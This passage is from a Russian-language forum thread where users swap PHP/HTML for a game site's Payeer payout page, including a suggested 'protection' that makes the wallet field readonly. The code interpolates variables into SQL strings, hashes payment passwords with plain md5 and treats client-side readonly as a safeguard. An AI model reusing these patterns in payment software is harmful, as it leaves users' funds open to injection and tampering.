                        $db->Query("UPDATE db_users_b SET money_p = money_p - '$sum', payment_sum = payment_sum + '$sum_pay', pay_points = pay_points - '$sum_pay' WHERE id = '$usid'");
                    
                        # Вставляем запись в выплаты
                        $da = time();
                        $dd = $da + 60*60*24*15;
                    
                        $ppid = $arTransfer["historyId"];
                    
                        $db->Query("INSERT INTO db_payment (user, user_id, purse, sum, valuta, serebro, payment_id, date_add, status)
                        VALUES ('$usname','$usid','$purse','$sum_pay','RUB', '$sum','$ppid','".time()."', '3')");
                    
                        $db->Query("UPDATE db_stats SET all_payments = all_payments + '$sum_pay' WHERE id = '1'");
                    
                        echo "<center><font color = 'green'><b>Выплачено!</b></font></center><BR />";
                    
                      }
                      else
                      {
                  
                        echo "<center><font color = 'red'><b>Сервер выплат перегружен, попробуйте через 10-15 секунд!</b></font></center><BR />";
                  
                      }
                
                
                    }else echo "<center><font color = 'red'><b>Шлюз перегружен, повторите попытку через 5-10 секунд!</b></font></center><BR />";
                
                  }else echo "<center><font color = 'red'><b>Не удалось выплатить! Попробуйте позже</b></font></center><BR />";
            
                }else echo "<center><font color = 'red'><b>Недостаточно <a href='/account/pay_points'>платежных баллов</a></b></font></center><BR />";
            
              }else echo "<center><font color = 'red'><b>Не удалось выплатить! Попробуйте позже</b></font></center><BR />";
          
            
            }else echo "<center><font color = 'red'><b>У вас имеются необработанные заявки. Дождитесь их выполнения.</b></font></center><BR />";
          
        
          }else echo "<center><font color = 'red'><b>Вы указали больше, чем имеется на вашем счету</b></font></center><BR />";
    
  } else echo "<center><b><font color = 'red'>Для вашего статуса закончился лимит выплат!</font></b></center><BR />";

        }else echo "<center><b><font color = 'red'>Минимальная сумма для выплаты составляет 100 серебра!</font></b></center><BR />";

    }else echo "<center><b><font color = 'red'>Кошелек Payeer указан неверно! Смотрите образец!</font></b></center><BR />";
  }else echo "<center><b><font color = 'red'>Платежный пароль указан не верно!</font></b></center><BR />";

}
?>
<?php
if($user_dataa['plat_pass'] == 0) {
echo "<center><b><font color = 'red'>Укажите платежный пароль в профиле!</font></b></center><BR />";
} else

?>

<form action="" method="post">
<table width="99%" border="0" align="center">
  <tr>
    <td><font color="#000;">Введите кошелек Payeer (Пример: P12345678)</font>: </td>
  <td><input type="text" name="purse" size="15"/></td>
  </tr>
  <tr>
    <td><font color="#000;">Отдаете Серебро для вывода</font> (Минимум 100 монет)<font color="#000;">:</font> </td>
  <td><input type="text" name="sum" id="sum" value="<?=round($user_data["money_p"]); ?>" size="15" onkeyup="PaymentSum();" /></td>
  </tr>
  <td><font color="#000;">Платежный пароль[указывается в <a href="https://servahoc.ru/redirect.php?url=/account/config" target="_blank">Настройках</a>]</font>: </td>
    <td><input type="text" name="plat_pass" size="15"/></td>
  <tr>
    <td><font color="#000;">Получаете <span id="res_val"></span></font><font color="#000;">:</font> </td>
  <td>
  <input type="text" name="res" id="res_sum" value="0" size="15" disabled="disabled"/>
  <input type="hidden" name="per" id="RUB" value="<?=$sonfig_site["ser_per_wmr"]; ?>" disabled="disabled"/>
  <input type="hidden" name="per" id="USD" value="<?=$sonfig_site["ser_per_wmz"]; ?>" disabled="disabled"/>
  <input type="hidden" name="per" id="EUR" value="<?=$sonfig_site["ser_per_wme"]; ?>" disabled="disabled"/>
  <input type="hidden" name="per" id="min_sum_RUB" value="0.5" disabled="disabled"/>
  <input type="hidden" name="val_type" id="val_type" value="RUB" />
  <input type="hidden" name="per" id="min_sum_USD" value="<?=$min_p_wmz; ?>" disabled="disabled"/>
  <input type="hidden" name="per" id="min_sum_EUR" value="<?=$min_p_wme; ?>" disabled="disabled"/>
  </td>
  </tr>
  <tr>
    <td colspan="2" align="center"><input type="submit" name="swap" value="Заказать выплату" style="height: 30px; margin-top:10px;" /></td>
  </tr>
</table>
</form>
<script language="javascript">PaymentSum(); SetVal();</script>

<b><font color = "blue">Дорогие друзья, в связи с тем, что фермы часто подвергаются атакам хакеров и пытаются вывести весь резерв мы создали 2 кошелька, один для выплат, второй для хранения большей части резерва, на кошелёк для выплат мы будем зачислять не более 800 рублей, после того, как эта сумма будет выплачена - мы вновь зачислим 800 рублей.
Если при заказе выплаты появляется ошибка: <font color = "red">Не удалось выплатить! Попробуйте позже! </font>значит средства на кошельке для выплат исчерпаны, ожидайте их зачисления (на это будет уходить не более 2 часов).</font></b>

<table cellpadding='3' cellspacing='0' border='0' bordercolor='#336633' align='center' width="99%">
  <tr>
    <td colspan="5" align="center"><h4>Последние 10 выплат</h4></td>
    </tr>
  <tr>
    <td align="center" class="m-tb">Серебро</td>
    <td align="center" class="m-tb">Получаете</td>
  <td align="center" class="m-tb">Кошелек</td>
  <td align="center" class="m-tb">Дата</td>
  <td align="center" class="m-tb">Статус</td>
  </tr>
  <?PHP

  $db->Query("SELECT * FROM db_payment WHERE user_id = '$usid' ORDER BY id DESC LIMIT 20");

  if($db->NumRows() > 0){

      while($ref = $db->FetchArray()){

    ?>
    <tr class="htt">
        <td align="center"><?=$ref["serebro"]; ?></td>
        <td align="center"><?=sprintf("%.2f",$ref["sum"] - $ref["comission"]); ?> <?=$ref["valuta"]; ?></td>
        <td align="center"><?=$ref["purse"]; ?></td>
      <td align="center"><?=date("d.m.Y",$ref["date_add"]); ?></td>
        <td align="center"><?=$status_array[$ref["status"]]; ?></td>
      </tr>
    <?PHP

    }

  }else echo '<tr><td align="center" colspan="5">Нет записей</td></tr>'

  ?>


</table><div class="clr"></div>
</div>
попробуйте заменить payment на этот:
PHP:
<div class="s-bk-lf">
  <div class="acc-title">Заказ выплаты</div>
</div>
<div class="silver-bk">
<BR />

<?PHP
  error_reporting(0);
$_OPTIMIZATION["title"] = "Аккаунт - Заказ выплаты";
$usid = $_SESSION["user_id"];
$usname = $_SESSION["user"];

$db->Query("SELECT * FROM db_users_b WHERE id = '$usid' LIMIT 1");
$user_data = $db->FetchArray();

$db->Query("SELECT * FROM db_users_a WHERE id = '$usid' LIMIT 1");
$user_dataa = $db->FetchArray();

$db->Query("SELECT * FROM db_config WHERE id = '1' LIMIT 1");
$sonfig_site = $db->FetchArray();

$status_array = array( 0 => "Проверяется", 1 => "Выплачивается", 2 => "Отменена", 3 => "Выплачено");

$db->Query("SELECT * FROM db_users_a, db_users_b WHERE db_users_a.id = db_users_b.id AND db_users_a.id = '$usid'");
$prof_data = $db->FetchArray();
if($prof_data["insert_sum"]<10) {
$status = "Стажер";
$max = "0";
} else if ($prof_data["insert_sum"]>=10 && $prof_data["insert_sum"]< 100) {
$status = "Рабочий";
$max = $prof_data["insert_sum"]*2;
}  else if ($prof_data["insert_sum"]>=100 && $prof_data["insert_sum"]< 500) {
$status = "Начальник";
$max = $prof_data["insert_sum"]*3;
}  else if ($prof_data["insert_sum"]>=500 && $prof_data["insert_sum"]< 1000) {
$status = "Директор";
$next = "1000";
$max = $prof_data["insert_sum"]*4;
}  else if ($prof_data["insert_sum"]>=1000) {
$status = "Олигарх";
$max = "99999999";
}
?>



<b>Выплаты осуществляются в автоматическом режиме и только на платежную систему PAYEER! Процент при выводе составляет 0%</b> <BR /><BR />
<b>Из платежной системы Payeer Вы можете вывести свои средства в автоматическом режиме на все известные платежные системы и международные банки.</b><BR /><BR />
<b>Ссылки на учебные материалы:</b><BR />
- <a href="https://servahoc.ru/redirect.php?url=http://payeeer.ru/create" target="_blank">Создание счета в Payeer</a> <BR />
- <a href="https://servahoc.ru/redirect.php?url=http://payeeer.ru/outpay" target="_blank">Вывод средств из Payeer</a> <BR /><BR />


<?PHP
# Заглушка от халявщиков
if($user_data["insert_sum"] < 10 AND $user_data["from_referals"] <= 10){

?>
<center><font color="red"><b>Выплату могут заказывать пользователи со статусом "Рабочий" и выше или у кого есть активнй реферал!<b></font></center><BR />
<BR />
<table width="99%" border="0" align="center">
  <tr>
    <td><font color="#000;">Введите кошелек Payeer (Пример: P12345678)</font>: </td>
  <td><input type="text" name="purse" size="15"/></td>
  </tr>
  <tr>
    <td><font color="#000;">Отдаете серебро для вывода</font> (Минимум 100 монет)<font color="#000;">:</font> </td>
  <td><input type="text" name="sum" id="sum" value="<?=round($user_data["money_p"]); ?>" size="15" onkeyup="PaymentSum();" /></td>
  </tr>
  <tr>
    <td><font color="#000;">Получаете <span id="res_val"></span></font><font color="#000;">:</font> </td>
  <td>
  <input type="text" name="res" id="res_sum" value="0" size="15" disabled="disabled"/>
  <input type="hidden" name="per" id="RUB" value="<?=$sonfig_site["ser_per_wmr"]; ?>" disabled="disabled"/>
  <input type="hidden" name="per" id="USD" value="<?=$sonfig_site["ser_per_wmz"]; ?>" disabled="disabled"/>
  <input type="hidden" name="per" id="EUR" value="<?=$sonfig_site["ser_per_wme"]; ?>" disabled="disabled"/>
  <input type="hidden" name="per" id="min_sum_RUB" value="0.5" disabled="disabled"/>
  <input type="hidden" name="val_type" id="val_type" value="RUB" />
  <input type="hidden" name="per" id="min_sum_USD" value="<?=$min_p_wmz; ?>" disabled="disabled"/>
  <input type="hidden" name="per" id="min_sum_EUR" value="<?=$min_p_wme; ?>" disabled="disabled"/>
  </td>
  </tr>
  <tr>
    <td colspan="2" align="center"><input type="submit" name="lol" value="Заказать выплату" style="height: 30px; margin-top:10px;" /></td>
  </tr>
</table>
</form>
<script language="javascript">PaymentSum(); SetVal();</script>



<table cellpadding='3' cellspacing='0' border='0' bordercolor='#336633' align='center' width="99%">
  <tr>
    <td colspan="5" align="center"><h4>Последние 10 выплат</h4></td>
    </tr>
  <tr>
    <td align="center" class="m-tb">Серебро</td>
    <td align="center" class="m-tb">Получаете</td>
  <td align="center" class="m-tb">Кошелек</td>
  <td align="center" class="m-tb">Дата</td>
  <td align="center" class="m-tb">Статус</td>
  </tr>
  <?PHP
  $db->Query("SELECT * FROM db_payment WHERE user_id = '$usid' ORDER BY id DESC LIMIT 20");
  if($db->NumRows() > 0){
      while($ref = $db->FetchArray()){
 
    ?>
    <tr class="htt">
        <td align="center"><?=$ref["serebro"]; ?></td>
        <td align="center"><?=sprintf("%.2f",$ref["sum"] - $ref["comission"]); ?> <?=$ref["valuta"]; ?></td>
        <td align="center"><?=$ref["purse"]; ?></td>
      <td align="center"><?=date("d.m.Y",$ref["date_add"]); ?></td>
        <td align="center"><?=$status_array[$ref["status"]]; ?></td>
      </tr>
    <?PHP
 
    }
  }else echo '<tr><td align="center" colspan="5">Нет записей</td></tr>'
  ?>

</table>
<div class="clr"></div> 
</div>
<?PHP

return;
}

?>
  <b>На Вашем счету: <?=sprintf("%.2f",$user_data["pay_points"]); ?> баллов <a href="https://servahoc.ru/redirect.php?url=/pay_points">ПОЛУЧИТЬ БАЛЛЫ</a> </b><BR />
  <b>Ваш статус: <u><a href="https://servahoc.ru/redirect.php?url=/status"><?=$status;?></a></u>. Выплачено: <?=$user_data["payment_sum"];?> рублей / <?=$max;?> рублей</b><br>
  <b>С учетом ваших баллов и статуса вы можете вывести: <u><? if ($user_data["pay_points"] >= ($max-$user_data["payment_sum"])) { echo round($max-$user_data["payment_sum"]);} else echo round($user_data["pay_points"]); ?></u> рублей
<BR /><BR />
<center><b>Заказ выплаты:</b></center><BR />

<?PHP
    function CheckPurse()
    {
        global $db;
        global $usid;
        $db->Query("SELECT * FROM `db_payment` WHERE `ps`='py' AND `user_id`='$usid'");
        $v = $db->FetchArray();
        if (empty($v["id"]))
            return FALSE;
        else
            return $v["purse"];
    }
  
    function ViewPurse($purse){
      
        if( substr($purse,0,1) != "P" ) return false;
        if( !preg_match("/^[0-9]{7,8}$/", substr($purse,1)) ) return false;  
        return $purse;
    }
  # Заносим выплату
if(isset($_POST["swap"])){
      
        if(empty($user_data['purse'])) {
            $purse = ViewPurse($_POST["purse"]);
        }
        else
        {
            $purse = $user_data['purse'];
        }
        $sum = intval($_POST["sum"]);
        $plat_passs = intval($_POST["plat_pass"]);
        $plat_pass = md5($plat_passs);
        $val = "RUB";
 
    if($plat_pass == $user_dataa['plat_pass']) {
    if($purse !== false){
   
        if($sum >= 100){
  if (($sum/100) <= ($max-$user_data["payment_sum"])) {
     
          if($sum <= $user_data["money_p"]){
         
            # Проверяем на существующие заявки
            $db->Query("SELECT COUNT(*) FROM db_payment WHERE user_id = '$usid' AND (status = '0' OR status = '1')");
            if($db->FetchRow() == 0){
             
             
              ### Делаем выплату ###
              $payeer = new rfs_payeer($config->AccountNumber, $config->apiId, $config->apiKey);
              if ($payeer->isAuth())
              {
                $sum_pay = round( ($sum / $sonfig_site["ser_per_wmr"]), 2);
                if($user_data["pay_points"] >= $sum_pay){
             
                  $arBalance = $payeer->getBalance();
                  if($arBalance["auth_error"] == 0)
                  {
                 
                 
                 
                    $balance = $arBalance["balance"]["RUB"]["DOSTUPNO"];
                    if( ($balance) >= ($sum_pay)){
                 
                 
                 
                    $arTransfer = $payeer->transfer(array(
                    'curIn' => 'RUB', // счет списания
                    'sum' => $sum_pay, // сумма получения
                    'curOut' => 'RUB', // валюта получения
                    'to' => $purse, // получатель (email)
                    //'to' => '+71112223344',  // получатель (телефон)
                    //'to' => 'P1000000',  // получатель (номер счета)
                    'comment' => iconv('windows-1251', 'utf-8', "Выплата пользователю {$usname} c проекта cargoexpress.su")
                    //'anonim' => 'Y', // анонимный перевод
                    //'protect' => 'Y', // протекция сделки
                    //'protectPeriod' => '3', // период протекции (от 1 до 30 дней)
                    //'protectCode' => '12345', // код протекции
                    ));
                 
                      if (!empty($arTransfer["historyId"]))
                      {
                   
                   
                        # Снимаем с пользователя
                        $db->Query("UPDATE db_users_b SET money_p = money_p - '$sum', payment_sum = payment_sum + '$sum_pay', pay_points = pay_points - '$sum_pay' WHERE id = '$usid'");
                     
                        # Вставляем запись в выплаты
                        $da = time();
                        $dd = $da + 60*60*24*15;
                     
                        $ppid = $arTransfer["historyId"];
                     
                        $db->Query("INSERT INTO db_payment (user, user_id, purse, sum, valuta, serebro, payment_id, date_add, status)
                        VALUES ('$usname','$usid','$purse','$sum_pay','RUB', '$sum','$ppid','".time()."', '3')");
                     
                        $db->Query("UPDATE db_stats SET all_payments = all_payments + '$sum_pay' WHERE id = '1'");
                     
                        echo "<center><font color = 'green'><b>Выплачено!</b></font></center><BR />";
                     
                      }
                      else
                      {
                   
                        echo "<center><font color = 'red'><b>Сервер выплат перегружен, попробуйте через 10-15 секунд!</b></font></center><BR />";
                   
                      }
                 
                 
                    }else echo "<center><font color = 'red'><b>Шлюз перегружен, повторите попытку через 5-10 секунд!</b></font></center><BR />";
                 
                  }else echo "<center><font color = 'red'><b>Не удалось выплатить! Попробуйте позже</b></font></center><BR />";
             
                }else echo "<center><font color = 'red'><b>Недостаточно <a href='/account/pay_points'>платежных баллов</a></b></font></center><BR />";
             
              }else echo "<center><font color = 'red'><b>Не удалось выплатить! Попробуйте позже</b></font></center><BR />";
           
             
            }else echo "<center><font color = 'red'><b>У вас имеются необработанные заявки. Дождитесь их выполнения.</b></font></center><BR />";
           
         
          }else echo "<center><font color = 'red'><b>Вы указали больше, чем имеется на вашем счету</b></font></center><BR />";
     
  } else echo "<center><b><font color = 'red'>Для вашего статуса закончился лимит выплат!</font></b></center><BR />";
        }else echo "<center><b><font color = 'red'>Минимальная сумма для выплаты составляет 100 серебра!</font></b></center><BR />";
 
    }else echo "<center><b><font color = 'red'>Кошелек Payeer указан неверно! Смотрите образец!</font></b></center><BR />";
  }else echo "<center><b><font color = 'red'>Платежный пароль указан не верно!</font></b></center><BR />";
 
}
?>
<?php
if($user_dataa['plat_pass'] == 0) {
echo "<center><b><font color = 'red'>Укажите платежный пароль в профиле!</font></b></center><BR />";
} else

?>

<form action="" method="post">
<table width="99%" border="0" align="center">
  <tr>
    <td><font color="#000;">Введите кошелек Payeer [Пример:  P1234567]</font>: </td>
    <td>
  
        <?php
    if(!empty($user_data['purse'])) {
        echo '<input type="text" name="purse" size="15" value="'.$user_data['purse'].'" disabled="disabled"/>';
    }
    else
    {
        echo '<input type="text" name="purse" size="15"/>';
    }
    ?>
  
    </td>
  </tr>
  <tr>
    <td><font color="#000;">Отдаете Серебро для вывода</font> (Минимум 100 монет)<font color="#000;">:</font> </td>
  <td><input type="text" name="sum" id="sum" value="<?=round($user_data["money_p"]); ?>" size="15" onkeyup="PaymentSum();" /></td>
  </tr>
  <td><font color="#000;">Платежный пароль[указывается в <a href="https://servahoc.ru/redirect.php?url=/account/config" target="_blank">Настройках</a>]</font>: </td>
    <td><input type="text" name="plat_pass" size="15"/></td>
  <tr>
    <td><font color="#000;">Получаете <span id="res_val"></span></font><font color="#000;">:</font> </td>
  <td>
  <input type="text" name="res" id="res_sum" value="0" size="15" disabled="disabled"/>
  <input type="hidden" name="per" id="RUB" value="<?=$sonfig_site["ser_per_wmr"]; ?>" disabled="disabled"/>
  <input type="hidden" name="per" id="USD" value="<?=$sonfig_site["ser_per_wmz"]; ?>" disabled="disabled"/>
  <input type="hidden" name="per" id="EUR" value="<?=$sonfig_site["ser_per_wme"]; ?>" disabled="disabled"/>
  <input type="hidden" name="per" id="min_sum_RUB" value="0.5" disabled="disabled"/>
  <input type="hidden" name="val_type" id="val_type" value="RUB" />
  <input type="hidden" name="per" id="min_sum_USD" value="<?=$min_p_wmz; ?>" disabled="disabled"/>
  <input type="hidden" name="per" id="min_sum_EUR" value="<?=$min_p_wme; ?>" disabled="disabled"/>
  </td>
  </tr>
  <tr>
    <td colspan="2" align="center"><input type="submit" name="swap" value="Заказать выплату" style="height: 30px; margin-top:10px;" /></td>
  </tr>
</table>
</form>
<script language="javascript">PaymentSum(); SetVal();</script>

<b><font color = "blue">Дорогие друзья, в связи с тем, что фермы часто подвергаются атакам хакеров и пытаются вывести весь резерв мы создали 2 кошелька, один для выплат, второй для хранения большей части резерва, на кошелёк для выплат мы будем зачислять не более 800 рублей, после того, как эта сумма будет выплачена - мы вновь зачислим 800 рублей.
Если при заказе выплаты появляется ошибка: <font color = "red">Не удалось выплатить! Попробуйте позже! </font>значит средства на кошельке для выплат исчерпаны, ожидайте их зачисления (на это будет уходить не более 2 часов).</font></b>

<table cellpadding='3' cellspacing='0' border='0' bordercolor='#336633' align='center' width="99%">
  <tr>
    <td colspan="5" align="center"><h4>Последние 10 выплат</h4></td>
    </tr>
  <tr>
    <td align="center" class="m-tb">Серебро</td>
    <td align="center" class="m-tb">Получаете</td>
  <td align="center" class="m-tb">Кошелек</td>
  <td align="center" class="m-tb">Дата</td>
  <td align="center" class="m-tb">Статус</td>
  </tr>
  <?PHP
  $db->Query("SELECT * FROM db_payment WHERE user_id = '$usid' ORDER BY id DESC LIMIT 20");
  if($db->NumRows() > 0){
      while($ref = $db->FetchArray()){
 
    ?>
    <tr class="htt">
        <td align="center"><?=$ref["serebro"]; ?></td>
        <td align="center"><?=sprintf("%.2f",$ref["sum"] - $ref["comission"]); ?> <?=$ref["valuta"]; ?></td>
        <td align="center"><?=$ref["purse"]; ?></td>
      <td align="center"><?=date("d.m.Y",$ref["date_add"]); ?></td>
        <td align="center"><?=$status_array[$ref["status"]]; ?></td>
      </tr>
    <?PHP
 
    }
  }else echo '<tr><td align="center" colspan="5">Нет записей</td></tr>'
  ?>

</table><div class="clr"></div> 
</div>
Если не помогло пишите в лс, так уж и быть скину свой payment;)
 
Последнее редактирование:
kadet2106
Участник
Сообщения
14
Реакции
2
  • #80
После этих строк:

Скрытое содержимое для зарегистрированных пользователей!
$db->Query("SELECT * FROM db_users_b WHERE id = '$usid' LIMIT 1");
$user_data = $db->FetchArray();

$db->Query("SELECT * FROM db_config WHERE id = '1' LIMIT 1");
$sonfig_site = $db->FetchArray();


Обязательно допишите это:

Скрытое содержимое для зарегистрированных пользователей!
$db->Query("SELECT * FROM db_payment WHERE user_id = '$usid' ORDER BY id DESC LIMIT 1");
$sonfig_purse = $db->FetchArray();


Далее заменяем:

Скрытое содержимое для зарегистрированных пользователей!
<tr>
<td><font color="#000;">Введите кошелек Payeer [Пример: P1112457]</font>: </td>
<td><input type="text" name="purse" size="15"/></td>
</tr>


На:

Скрытое содержимое для зарегистрированных пользователей!
<tr>
<td><font color="#000;">Введите кошелек Payeer [Пример: P1234567]</font>: </td>
<?php
IF($sonfig_purse["purse"])
{$pur=$sonfig_purse["purse"];
echo"<td><input type='text' name='purse' size='15' value='".$pur."' readonly='readonly'";
echo"</td>";
}

else echo"<td><input type='text' name='purse' size='15'/> </td>";
?>
</tr>


В базу запросов делать не нужно никаких. После первого вывода средств кошелек сохраниться и изменить его нельзя будет. Ну конечно только через исходный код ) Если что-то придумаю новое по защите выплаты- сразу выложу.
 
Сверху